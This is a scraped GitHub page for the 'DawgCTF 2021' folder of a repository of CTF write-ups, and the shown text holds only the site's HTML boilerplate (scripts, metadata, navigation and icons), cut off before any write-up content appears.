data-src="https://github.githubassets.com/assets/chunk-emoji-picker-element-2eb0f690.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-EvJ2Fip59DXgARNuwTWgjdVqoCjhXQL73SP9yexijlWStKq92sfbKeGK5R4wIP0QOr39WsnW/Kaw3Wpl1QPfog==" type="application/javascript" data-module-id="./chunk-edit-hook-secret-element.js" data-src="https://github.githubassets.com/assets/chunk-edit-hook-secret-element-12f27616.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-W0EihGBOA1mE3orR7s2squ9xVaLXrwd2bOYY9SSslfZHrovrS6KenJU+XXn+CaykddON6/aFEd/FbuQ/FltI9Q==" type="application/javascript" data-module-id="./chunk-insights-query.js" data-src="https://github.githubassets.com/assets/chunk-insights-query-5b412284.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-D/5Ad6jlKQNRPSHbVN5ShlFXOTyRsKbT7O0cWbVHwtOZ/UrwOC5bHKaQFHTq46qeMBbFKyDG+oIdtm5G8NifDA==" type="application/javascript" data-module-id="./chunk-remote-clipboard-copy.js" data-src="https://github.githubassets.com/assets/chunk-remote-clipboard-copy-0ffe4077.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SUjF5sI77QngAIQUwKJRgZuIM4qggFBMtOZJ3EFS7ecv4uq4BQQJivDVxNBG9api9/rWrpw0d6RzvTCz2GrbdA==" type="application/javascript" data-module-id="./chunk-series-table.js" data-src="https://github.githubassets.com/assets/chunk-series-table-4948c5e6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-nrfktuuo7BZhPpJxM4fVi62vPbZu6VJZ7ykfarxBExTTDnchXEalCJOq2O3GrVdfWu9cdn9kR/J8+oeTAjdHlA==" type="application/javascript" data-module-id="./chunk-line-chart.js" data-src="https://github.githubassets.com/assets/chunk-line-chart-9eb7e4b6.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-IOMGagwchKC7UeWHK/bV/rO1F1/RZAH0fNNouWV2boLOtE1a9LUbesoRsYK7sz6aFXslPC8fLfow+yWpT1eZzQ==" type="application/javascript" data-module-id="./chunk-stacked-area-chart.js" data-src="https://github.githubassets.com/assets/chunk-stacked-area-chart-20e3066a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-GohDpVrxfHqlavb8Zabvj+y/s6CHegYwyGpQxKtzR2MkQsynBC98LdLongRFMHI+TKAECLavp200Lsy9JbV5TQ==" type="application/javascript" data-module-id="./chunk-presence-avatars.js" data-src="https://github.githubassets.com/assets/chunk-presence-avatars-1a8843a5.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-TpHTIXhA/2bI21CVmFL1oS3dv+8zveJVZLOVVAZwXNAAI94Hy70L9vT3Q1Vvkyu4Z2gi2iFdy1a53pfYlEDgnQ==" type="application/javascript" data-module-id="./chunk-pulse-authors-graph-element.js" data-src="https://github.githubassets.com/assets/chunk-pulse-authors-graph-element-4e91d321.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-aNAcFMlIdG1ocY5LnZylnN/6KXiJxyPvKg7y1Jnai732wdnrjXazcvNiQkRnj5FY8WP6JRa3K4doCReA4nhj7w==" type="application/javascript" data-module-id="./chunk-stacks-input-config-view.js" data-src="https://github.githubassets.com/assets/chunk-stacks-input-config-view-68d01c14.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-MXXdKvrDUhz9jfXB1/McrPebK8VbV5haYcxcNt5WXgbUym55dZattmCIAK2pJFAD2h4aBUFHo7CzpjmDYf7EkQ==" type="application/javascript" data-module-id="./chunk-community-contributions.js" data-src="https://github.githubassets.com/assets/chunk-community-contributions-3175dd2a.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-eWDdPSTt/NMNFFSNdUSOf36O6AJJepQdiKFtVzHjM5WYpUTAg21zPoyeA4DqfPNL5RggK/+RjWQZzypmNBAH4w==" type="application/javascript" data-module-id="./chunk-discussion-page-views.js" data-src="https://github.githubassets.com/assets/chunk-discussion-page-views-7960dd3d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-5+v3VN/rhJv/1iAOVphuCGs1FM9eUlSB43CJLw1txGMLvuPNNz/xHQbzTOIW+t2NKFpTnptRvKbuicQ3Jp28UQ==" type="application/javascript" data-module-id="./chunk-discussions-daily-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-daily-contributors-e7ebf754.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-/PSS3erY5t+SZL9B5T6Edgzy2pLD3jx7G/ZqQE+UCPhaaMEEc8Qrhv5XTREOOX0e3DquvxVDDM/KVa6SK/BPcA==" type="application/javascript" data-module-id="./chunk-discussions-new-contributors.js" data-src="https://github.githubassets.com/assets/chunk-discussions-new-contributors-fcf492dd.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-7vazCSTbHAmhDkKepqPuoJu5ZlBV51uKBKdUTiKd5UylsfULxuXr6XtFSZ16eU4TzdMAifa2hR4riO/QRi/9gw==" type="application/javascript" data-module-id="./chunk-tweetsodium.js" data-src="https://github.githubassets.com/assets/chunk-tweetsodium-eef6b309.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-AVKfqEKBF/JCvS2PoakItu304k6gGt9oSMBW2R/eEfGsGuTmC9QeiQw//IJJKFRQdrzpha/FoC/cws9v6dsujQ==" type="application/javascript" data-module-id="./chunk-jump-to.js" data-src="https://github.githubassets.com/assets/chunk-jump-to-01529fa8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-mQXS2AvjT52IlcDNeeAaWUnOLa3aaGISiApB7zeboZBSILzsVM1ikEJdM7VIaH+xwYYT/D6lqtIwjO1/KVbK2Q==" type="application/javascript" data-module-id="./chunk-user-status-submit.js" data-src="https://github.githubassets.com/assets/chunk-user-status-submit-9905d2d8.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-4xtjUJAtGhsZOLk+SHoir8MWF0vKHoR4tGlR36xsg1kGrE9ftN4BHe21k2TT5jSkqz5x8z7BfZKj/eUuwcZMEQ==" type="application/javascript" data-module-id="./chunk-launch-code-element.js" data-src="https://github.githubassets.com/assets/chunk-launch-code-element-e31b6350.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-NilVxyBbQNJ61v85EVcC3VjOsz5tz+bOlaR1h1R+jIFXNT8VhoalRgPXREht+R3JIZF5fiqkkHZy3+01pX4ZDg==" type="application/javascript" data-module-id="./chunk-metric-selection-element.js" data-src="https://github.githubassets.com/assets/chunk-metric-selection-element-362955c7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-VtwQp1HbSSWXOsB5a8wzpRH8Bl7/vD0jgBgXsp2K2CTYkhfq/LAWps52SnVQjcRPoB2svCVaJV20hyFuCbGL3w==" type="application/javascript" data-module-id="./chunk-severity-calculator-element.js" data-src="https://github.githubassets.com/assets/chunk-severity-calculator-element-56dc10a7.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-yXHkwiNZgB6O0iSDKE8jrZzTtTyF8YdFFXHcemhWEPuN3sWs1PQrSwEh0Gw4/B9TIzUfvogbqlJ71yLLuqyM+Q==" type="application/javascript" data-module-id="./chunk-readme-toc-element.js" data-src="https://github.githubassets.com/assets/chunk-readme-toc-element-c971e4c2.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-QMvMhJF7+RJNuy+lp8zP+XbKf08Cc36NVOw6CMk0WRGAO1kmoNhTC+FjHB5EBFx/sDurFeYqerS3NGhusJncMA==" type="application/javascript" data-module-id="./chunk-feature-callout-element.js" data-src="https://github.githubassets.com/assets/chunk-feature-callout-element-40cbcc84.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-SyYXfc8EbLO9BnTas69LeNMF6aXITT41QqsFoIuEHHt/0i9+WQAV7ZFBu944TFS7HHFu9eRgmdq1MU/W12Q8xw==" type="application/javascript" data-module-id="./chunk-sortable-behavior.js" data-src="https://github.githubassets.com/assets/chunk-sortable-behavior-4b26177d.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-6JUQHgkTqBaCCdDugMcO4fQ8YxUHk+m6rwVp2Wxa4FMVz6BbBMPOzGluT4wBq8NTUcFv6DnXSOnt5e85jNgpGg==" type="application/javascript" data-module-id="./chunk-drag-drop.js" data-src="https://github.githubassets.com/assets/chunk-drag-drop-e895101e.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-28pipPJZvizfcYYETJWBBeDHsrDEz7A06d7Y5swgY/OWmsX0ZJW6mkZVFRO7Z/xZh1D1qFbPHGNixfCd1YpBnA==" type="application/javascript" data-module-id="./chunk-contributions-spider-graph.js" data-src="https://github.githubassets.com/assets/chunk-contributions-spider-graph-dbca62a4.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-y0yuiXfWuIeCCcUBT1jacp25vWnFCJWgwLM5G1VM4tmCHdoQbiVjvW/vuSuEXUjtS8WwdioTD5hVv9UULiUlww==" type="application/javascript" data-module-id="./chunk-webgl-warp.js" data-src="https://github.githubassets.com/assets/chunk-webgl-warp-cb4cae89.js"></script> <script crossorigin="anonymous" defer="defer" integrity="sha512-3R5+VhOHwJbG+s7VKlj1HjwVKo/RPldgUh98Yed4XMlk1jH7LP20vRYmLUqnvVaZcgx9x9XdWmQWKaBRQfsVvg==" type="application/javascript" src="https://github.githubassets.com/assets/codespaces-dd1e7e56.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-tfzZxJCbul4TLTQmD9EJzuvXoLZGUCnWTiuJCGnXlaABfL2eD0I/J/IL9blT+JbF1dQvKi1g/E7396zAKdrZTA==" type="application/javascript" src="https://github.githubassets.com/assets/repositories-b5fcd9c4.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-CfJc9iAnfLJnxnvSY41oW/N+iuVSia2CCj/v47XVliM9ACQPKur94EPHnokX0RG8e+FPMhJ2CGy9FfqLYZi4Dg==" type="application/javascript" src="https://github.githubassets.com/assets/topic-suggestions-09f25cf6.js"></script><script crossorigin="anonymous" defer="defer" integrity="sha512-Y9QCffkHDk3/KAoYUMhKeokbNlXWgpO+53XrccRwhUWzMTxEmhnp1ce7OVWP3vOzhCfWaxxnKWW9eVjjny8nRA==" type="application/javascript" src="https://github.githubassets.com/assets/code-menu-63d4027d.js"></script> <meta name="viewport" content="width=device-width"> <title>CTF-Writeups/DawgCTF 2021 at main · mrajabinasab/CTF-Writeups · GitHub</title> <meta name="description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub."> <link rel="search" type="application/opensearchdescription+xml" href="/opensearch.xml" title="GitHub"> <link rel="fluid-icon" href="https://github.com/fluidicon.png" title="GitHub"> <meta property="fb:app_id" content="1401488693436528"> <meta name="apple-itunes-app" content="app-id=1477376905" /> <meta name="twitter:image:src" content="https://opengraph.githubassets.com/50bf4fc4144409e157a31753a3d21376b8fa8712daa18bd9ab564d44eb937973/mrajabinasab/CTF-Writeups" /><meta name="twitter:site" content="@github" /><meta name="twitter:card" content="summary_large_image" /><meta name="twitter:title" content="CTF-Writeups/DawgCTF 2021 at main · mrajabinasab/CTF-Writeups" /><meta name="twitter:description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /> <meta property="og:image" content="https://opengraph.githubassets.com/50bf4fc4144409e157a31753a3d21376b8fa8712daa18bd9ab564d44eb937973/mrajabinasab/CTF-Writeups" /><meta property="og:image:alt" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /><meta property="og:image:width" content="1200" /><meta property="og:image:height" content="600" /><meta property="og:site_name" content="GitHub" /><meta property="og:type" content="object" /><meta property="og:title" content="CTF-Writeups/DawgCTF 2021 at main · mrajabinasab/CTF-Writeups" /><meta property="og:url" content="https://github.com/mrajabinasab/CTF-Writeups" /><meta property="og:description" content="Writeups of the CTF challenges that I solved. Contribute to mrajabinasab/CTF-Writeups development by creating an account on GitHub." /> <link rel="assets" href="https://github.githubassets.com/"> <meta name="request-id" content="B6C0:C4C0:1A80B97:1BB7A63:61830705" data-pjax-transient="true"/><meta name="html-safe-nonce" content="d476c8ed660f19ea8b343131bb983bd54399d65cdf595f36db7146fa426eda5a" data-pjax-transient="true"/><meta name="visitor-payload" content="eyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiJCNkMwOkM0QzA6MUE4MEI5NzoxQkI3QTYzOjYxODMwNzA1IiwidmlzaXRvcl9pZCI6IjEyNDc0NDAzODMzNzQ0NjA2NzciLCJyZWdpb25fZWRnZSI6ImZyYSIsInJlZ2lvbl9yZW5kZXIiOiJmcmEifQ==" data-pjax-transient="true"/><meta name="visitor-hmac" content="ddd33a06613e569af8b8302455aaa1f0ef88467d29e089c68298b311e0e28220" data-pjax-transient="true"/> <meta name="hovercard-subject-tag" content="repository:308827834" data-pjax-transient> <meta name="github-keyboard-shortcuts" content="repository,source-code" data-pjax-transient="true" /> <meta name="selected-link" value="repo_source" data-pjax-transient> <meta name="google-site-verification" content="c1kuD-K2HIVF635lypcsWPoD4kilo5-jA_wBFyT4uMY"> <meta name="google-site-verification" content="KT5gs8h0wvaagLKAVWq8bbeNwnZZK1r1XQysX3xurLU"> <meta name="google-site-verification" content="ZzhVyEFwb7w3e0-uOTltm8Jsck2F5StVihD0exw2fsA"> <meta name="google-site-verification" content="GXs5KoUUkNCoaAZn7wPN-t01Pywp9M3sEjnt_3_ZWPc"> <meta name="octolytics-url" content="https://collector.githubapp.com/github/collect" /> <meta name="analytics-location" content="/<user-name>/<repo-name>/files/disambiguate" data-pjax-transient="true" /> <meta name="hostname" content="github.com"> <meta name="user-login" content=""> <meta name="expected-hostname" content="github.com"> <meta name="enabled-features" content="MARKETPLACE_PENDING_INSTALLATIONS,FILE_UPLOAD_CURSOR_POSITION"> <meta http-equiv="x-pjax-version" content="89408a5ac57f5b71ed7ebb466b241a52be13289bf52f5580353d1ab3681a2237"> <meta http-equiv="x-pjax-csp-version" content="9ea82e8060ac9d44365bfa193918b70ed58abd9413362ba412abb161b3a8d1b6"> <meta http-equiv="x-pjax-css-version" content="8c75751aad52ee8322f8435d51506c1b59a636003602b767a0b479bddfe5cb22"> <meta http-equiv="x-pjax-js-version" content="3cad26b543586e12a4ad3073df6bdffcfe52ab9dafecfd0ffc60594d519fb9b5"> <meta name="go-import" content="github.com/mrajabinasab/CTF-Writeups git https://github.com/mrajabinasab/CTF-Writeups.git"> <meta name="octolytics-dimension-user_id" content="23614755" /><meta name="octolytics-dimension-user_login" content="mrajabinasab" /><meta name="octolytics-dimension-repository_id" content="308827834" /><meta name="octolytics-dimension-repository_nwo" content="mrajabinasab/CTF-Writeups" /><meta name="octolytics-dimension-repository_public" content="true" /><meta name="octolytics-dimension-repository_is_fork" content="false" /><meta name="octolytics-dimension-repository_network_root_id" content="308827834" /><meta name="octolytics-dimension-repository_network_root_nwo" content="mrajabinasab/CTF-Writeups" /> <link rel="canonical" href="https://github.com/mrajabinasab/CTF-Writeups/tree/main/DawgCTF%202021" data-pjax-transient> <meta name="browser-stats-url" content="https://api.github.com/_private/browser/stats"> <meta name="browser-errors-url" content="https://api.github.com/_private/browser/errors"> <meta name="browser-optimizely-client-errors-url" content="https://api.github.com/_private/browser/optimizely_client/errors"> <link rel="mask-icon" href="https://github.githubassets.com/pinned-octocat.svg" color="#000000"> <link rel="alternate icon" class="js-site-favicon" type="image/png" href="https://github.githubassets.com/favicons/favicon.png"> <link rel="icon" class="js-site-favicon" type="image/svg+xml" href="https://github.githubassets.com/favicons/favicon.svg"> <meta name="theme-color" content="#1e2327"><meta name="color-scheme" content="light dark" /> <link rel="manifest" href="/manifest.json" crossOrigin="use-credentials"> </head> <body class="logged-out env-production page-responsive" style="word-wrap: break-word;"> <div class="position-relative js-header-wrapper "> Skip to content <span> <span></span></span> <header class="Header-old header-logged-out js-details-container Details position-relative f4 py-2" role="banner"> <div class="container-xl d-lg-flex flex-items-center p-responsive"> <div class="d-flex flex-justify-between flex-items-center"> <svg height="32" aria-hidden="true" viewBox="0 0 16 16" version="1.1" width="32" data-view-component="true" class="octicon octicon-mark-github color-text-white"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> <div class="d-lg-none css-truncate css-truncate-target width-fit p-2"> </div> <div class="d-flex flex-items-center"> Sign up <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link d-lg-none mt-1"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-three-bars color-text-white"> <path fill-rule="evenodd" d="M1 2.75A.75.75 0 011.75 2h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 2.75zm0 5A.75.75 0 011.75 7h12.5a.75.75 0 110 1.5H1.75A.75.75 0 011 7.75zM1.75 12a.75.75 0 100 1.5h12.5a.75.75 0 100-1.5H1.75z"></path></svg> </button> </div> </div> <div class="HeaderMenu HeaderMenu--logged-out position-fixed top-0 right-0 bottom-0 height-fit position-lg-relative d-lg-flex flex-justify-between flex-items-center flex-auto"> <div class="d-flex d-lg-none flex-justify-end border-bottom color-bg-subtle p-3"> <button aria-label="Toggle navigation" aria-expanded="false" type="button" data-view-component="true" class="js-details-target btn-link"> <svg aria-hidden="true" height="24" viewBox="0 0 24 24" version="1.1" width="24" data-view-component="true" class="octicon octicon-x color-icon-secondary"> <path fill-rule="evenodd" d="M5.72 5.72a.75.75 0 011.06 0L12 10.94l5.22-5.22a.75.75 0 111.06 1.06L13.06 12l5.22 5.22a.75.75 0 11-1.06 1.06L12 13.06l-5.22 5.22a.75.75 0 01-1.06-1.06L10.94 12 5.72 6.78a.75.75 0 010-1.06z"></path></svg> </button> </div> <nav class="mt-0 px-3 px-lg-0 mb-5 mb-lg-0" aria-label="Global"> <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Why GitHub? <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Features <span>→</span> Mobile <span>→</span> Actions <span>→</span> Codespaces <span>→</span> Packages <span>→</span> Security <span>→</span> Code review <span>→</span> Issues <span>→</span> Integrations <span>→</span> GitHub Sponsors <span>→</span> Customer stories<span>→</span> </div> </details> Team Enterprise <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Explore <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-0 mt-0 pb-4 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Explore GitHub <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Learn and contribute</h4> Topics <span>→</span> Collections <span>→</span> Trending <span>→</span> Learning Lab <span>→</span> Open source guides <span>→</span> <h4 class="color-fg-muted text-normal text-mono f5 mb-2 border-lg-top pt-lg-3">Connect with others</h4> The ReadME Project <span>→</span> Events <span>→</span> Community forum <span>→</span> GitHub Education <span>→</span> GitHub Stars program <span>→</span> </div> </details> Marketplace <details class="HeaderMenu-details details-overlay details-reset width-full"> <summary class="HeaderMenu-summary HeaderMenu-link px-0 py-3 border-0 no-wrap d-block d-lg-inline-block"> Pricing <svg x="0px" y="0px" viewBox="0 0 14 8" xml:space="preserve" fill="none" class="icon-chevon-down-mktg position-absolute position-lg-relative"> <path d="M1,1l6.2,6L13,1"></path> </svg> </summary> <div class="dropdown-menu flex-auto rounded px-0 pt-2 pb-4 mt-0 p-lg-4 position-relative position-lg-absolute left-0 left-lg-n4"> Plans <span>→</span> Compare plans <span>→</span> Contact Sales <span>→</span> Education <span>→</span> </div> </details> </nav> <div class="d-lg-flex flex-items-center px-3 px-lg-0 text-center text-lg-left"> <div class="d-lg-flex min-width-0 mb-3 mb-lg-0"> <div class="header-search flex-auto js-site-search position-relative flex-self-stretch flex-md-self-auto mb-3 mb-md-0 mr-0 mr-md-3 scoped-search site-scoped-search js-jump-to"> <div class="position-relative"> </option></form><form class="js-site-search-form" role="search" aria-label="Site" data-scope-type="Repository" data-scope-id="308827834" data-scoped-search-url="/mrajabinasab/CTF-Writeups/search" data-owner-scoped-search-url="/users/mrajabinasab/search" data-unscoped-search-url="/search" action="/mrajabinasab/CTF-Writeups/search" accept-charset="UTF-8" method="get"> <label class="form-control input-sm header-search-wrapper p-0 js-chromeless-input-container header-search-wrapper-jump-to position-relative d-flex flex-justify-between flex-items-center"> <input type="text" class="form-control input-sm header-search-input jump-to-field js-jump-to-field js-site-search-focus js-site-search-field is-clearable" data-hotkey=s,/ name="q" data-test-selector="nav-search-input" placeholder="Search" data-unscoped-placeholder="Search GitHub" data-scoped-placeholder="Search" autocapitalize="off" role="combobox" aria-haspopup="listbox" aria-expanded="false" aria-autocomplete="list" aria-controls="jump-to-results" aria-label="Search" data-jump-to-suggestions-path="/_graphql/GetSuggestedNavigationDestinations" spellcheck="false" autocomplete="off" > <input type="hidden" data-csrf="true" class="js-data-jump-to-suggestions-path-csrf" value="/uLDNjPhOsO/jV1a7r23qIqPiO29BuDRTk3kFY8ncceYWjOYnrtnalVrRo3KXvd7qyngGk7jnrnLgDAHbXBQAA==" /> <input type="hidden" class="js-site-search-type-field" name="type" > <svg xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 